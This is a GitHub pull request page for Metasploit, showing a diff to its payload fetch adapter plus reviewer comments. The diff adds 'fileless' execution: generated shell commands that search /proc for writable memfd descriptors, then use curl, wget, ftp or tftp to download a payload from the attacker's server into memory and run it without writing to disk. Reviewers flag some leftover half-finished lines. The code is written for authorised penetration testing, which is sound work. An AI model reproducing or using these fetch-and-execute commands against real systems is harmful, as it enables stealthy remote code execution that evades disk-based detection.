Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fileless elf execution #19858

Merged
merged 15 commits into from
Feb 18, 2025
Merged
Changes from 4 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
146 changes: 125 additions & 21 deletions lib/msf/core/payload/adapter/fetch.rb
Original file line number Diff line number Diff line change
@@ -1,16 +1,16 @@
module Msf::Payload::Adapter::Fetch

def initialize(*args)
super
register_options(
[
Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]),
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: /^[^\s\/\\]*$/),
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk (only Unix)', false]),
bwatters-r7 marked this conversation as resolved.
Show resolved Hide resolved
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}),
Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]),
# FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set
Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']),
Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']),
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', ''], regex:/^[\S]*$/)
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', ''], regex: /^\S*$/)
]
)
register_advanced_options(
Expand Down Expand Up @@ -94,15 +94,16 @@ def generate_fetch_commands
#
case datastore['FETCH_COMMAND'].upcase
when 'FTP'
return _generate_ftp_command
return datastore['FETCH_FILELESS'] && !windows? ? _generate_ftp_command_fileless : _generate_ftp_command
when 'TNFTP'
return _generate_tnftp_command
return datastore['FETCH_FILELESS'] && !windows? ? _generate_tnftp_command_fileless : _generate_tnftp_command
when 'WGET'
return _generate_wget_command
return datastore['FETCH_FILELESS'] && !windows? ? _generate_wget_command_fileless : _generate_wget_command
when 'CURL'
return _generate_curl_command
return datastore['FETCH_FILELESS'] && !windows? ? _generate_curl_command_fileless : _generate_curl_command
when 'TFTP'
return _generate_tftp_command
return datastore['FETCH_FILELESS'] && !windows? ? _generate_tftp_command_fileless : _generate_tftp_command
# ignoring certutil when FETCH_FILELESS is enabled
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Are you sure that this is working on all platforms supported by metasploit that aren't windows?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It should be supported on all Unix systems, I'll add more specific condition, thanks!

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The comment is wrong. I think something like "FETCH_FILELESS isn't supported for certutil for now" would be better.

Copy link
Contributor

@bwatters-r7 bwatters-r7 Feb 5, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

certutil should not be an option for linux payloads?
The FETCH_COMMAND option comes from either lib/msf/core/payload/adapter/fetch/windows_options lib/msf/core/payload/adapter/fetch/linux_options. Nix-y payloads should not import the windows_options file which allows the use of certutil.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah; by adding the FETCH_FILELESS option to linux_options the user cannot select it and cURL. We already support fileless fetch execution on windows via SMB, though we don't advertise it.

when 'CERTUTIL'
return _generate_certutil_command
else
Expand Down Expand Up @@ -143,11 +144,13 @@ def srvport

def srvuri
return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank?

default_srvuri
end

def windows?
return @windows unless @windows.nil?

@windows = platform.platforms.first == Msf::Module::Platform::Windows
@windows
end
Expand Down Expand Up @@ -177,21 +180,22 @@ def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s)
comm = ::Rex::Socket::Comm::Local
when /\A-?[0-9]+\Z/
comm = framework.sessions.get(srv_comm.to_i)
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
raise("Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
raise("Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
when nil, ''
unless ip.nil?
comm = Rex::Socket::SwitchBoard.best_comm(ip)
end
else
raise(RuntimeError, "SocketServer Comm '#{srv_comm}' is invalid")
raise("SocketServer Comm '#{srv_comm}' is invalid")
smcintyre-r7 marked this conversation as resolved.
Show resolved Hide resolved
end

comm || ::Rex::Socket::Comm::Local
end

def _execute_add
return _execute_win if windows?

return _execute_nix
end

Expand All @@ -202,9 +206,16 @@ def _execute_win
end

def _execute_nix
cmds = ";chmod +x #{_remote_destination_nix}"
cmds << ";#{_remote_destination_nix}&"
cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
if datastore['FETCH_DELETE']
rand(3..7)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This line is useless. Did you want to write cmds << "sleep #{rand(3..7)};"?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yes, sorry, modification of this whole function is a leftover from different approach, thank you for that!

# create anonymous file ? -> /proc/$pid/fd/$fd
cmds = %{;tmpfile=$(mktemp);exec #{fd}<> "$tmpfile"; rm -f "$tmpfile"}

else
cmds = ";chmod +x #{_remote_destination_nix}"
cmds << ";#{_remote_destination_nix}&"
end
# cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Did you mean to comment this line?

cmds
end

Expand All @@ -223,6 +234,30 @@ def _generate_certutil_command
cmd + _execute_add
end

def _generate_fileless(get_file_cmd)
msutovsky-r7 marked this conversation as resolved.
Show resolved Hide resolved
# get list of all $USER's processes
cmd = 'FOUND=0'
cmd << ";for i in $(ps -u $USER | awk '{print $1}')"
# already found anonymous file where we can write
cmd << '; do if [[ $FOUND -eq 0 ]]'

# look for every symbolic link with write rwx permissions
# if found one, try to download payload into the anonymous file
# and execute it
cmd << '; then while read f'
cmd << '; do if [[ $(ls -al $f | grep -o memfd | wc -l) == 1 ]]'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There might be a way to avoid calling wc by checking the return value of grep instead.

cmd << "; then #{get_file_cmd}"
cmd << '; $f'
cmd << '; FOUND=1'
cmd << '; break'
cmd << '; fi'
cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx)'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe redirecting the potential errors to /dev/null might avoid some weird output and reduce the number of iterations for the main loop.

Suggested change
cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx)'
cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'

cmd << '; fi'
cmd << '; done'

cmd
end

def _generate_curl_command
case fetch_protocol
when 'HTTP'
Expand All @@ -237,17 +272,45 @@ def _generate_curl_command
cmd + _execute_add
end

def _generate_curl_command_fileless
case fetch_protocol
when 'HTTP'
fetch_command = "curl http://#{download_uri} -so"
bwatters-r7 marked this conversation as resolved.
Show resolved Hide resolved
when 'HTTPS'
fetch_command = "curl https://#{download_uri} -sko"
when 'TFTP'
fetch_command = "curl tftp://#{download_uri} -so"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
_generate_fileless(fetch_command + ' $f')
end

def _generate_ftp_command
case fetch_protocol
when 'FTP'
cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
"ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
when 'HTTP'
"ftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
when 'HTTPS'
"ftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
end

def _generate_ftp_command_fileless
case fetch_protocol
when 'FTP'
fetch_command = "ftp ftp://#{download_uri} -Vo"
when 'HTTP'
cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
fetch_command = "ftp http://#{download_uri} -Vo"
when 'HTTPS'
cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
fetch_command = "ftp https://#{download_uri}#{_execute_nix} -Vo"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
_generate_fileless(fetch_command + ' $f')
end

def _generate_tftp_command
Expand All @@ -266,17 +329,43 @@ def _generate_tftp_command
cmd
end

def _generate_tftp_command_fileless
bwatters-r7 marked this conversation as resolved.
Show resolved Hide resolved
_check_tftp_port
case fetch_protocol
when 'TFTP'
_check_tftp_file
fetch_command = "(echo binary ; echo get #{srvuri} $f ) | tftp #{srvhost}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
_generate_fileless(fetch_command)
end

def _generate_tnftp_command
case fetch_protocol
when 'FTP'
cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
"tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
when 'HTTP'
"tnftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
when 'HTTPS'
"tnftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
end

def _generate_tnftp_command_fileless
case fetch_protocol
when 'FTP'
fetch_command = "tnftp ftp://#{download_uri} -Vo"
when 'HTTP'
cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
fetch_command = "tnftp http://#{download_uri} -Vo"
when 'HTTPS'
cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
fetch_command = "tnftp https://#{download_uri} -Vo"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
_generate_fileless(fetch_command + ' $f')
end

def _generate_wget_command
Expand All @@ -291,13 +380,27 @@ def _generate_wget_command
cmd + _execute_add
end

def _generate_wget_command_fileless
case fetch_protocol
when 'HTTPS'
fetch_command = "wget --no-check-certificate https://#{download_uri} -qO"
when 'HTTP'
fetch_command = "wget http://#{download_uri} -qO"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
_generate_fileless(fetch_command + ' $f')
end

def _remote_destination
return _remote_destination_win if windows?

return _remote_destination_nix
end

def _remote_destination_nix
return @remote_destination_nix unless @remote_destination_nix.nil?

writable_dir = datastore['FETCH_WRITABLE_DIR']
writable_dir = '.' if writable_dir.blank?
writable_dir += '/' unless writable_dir[-1] == '/'
Expand All @@ -310,12 +413,13 @@ def _remote_destination_nix

def _remote_destination_win
return @remote_destination_win unless @remote_destination_win.nil?

writable_dir = datastore['FETCH_WRITABLE_DIR']
writable_dir += '\\' unless writable_dir.blank? || writable_dir[-1] == '\\'
payload_filename = datastore['FETCH_FILENAME']
payload_filename = srvuri if payload_filename.blank?
payload_path = writable_dir + payload_filename
payload_path = payload_path + '.exe' unless payload_path[-4..-1] == '.exe'
payload_path += '.exe' unless payload_path[-4..] == '.exe'
@remote_destination_win = payload_path
@remote_destination_win
end
Expand Down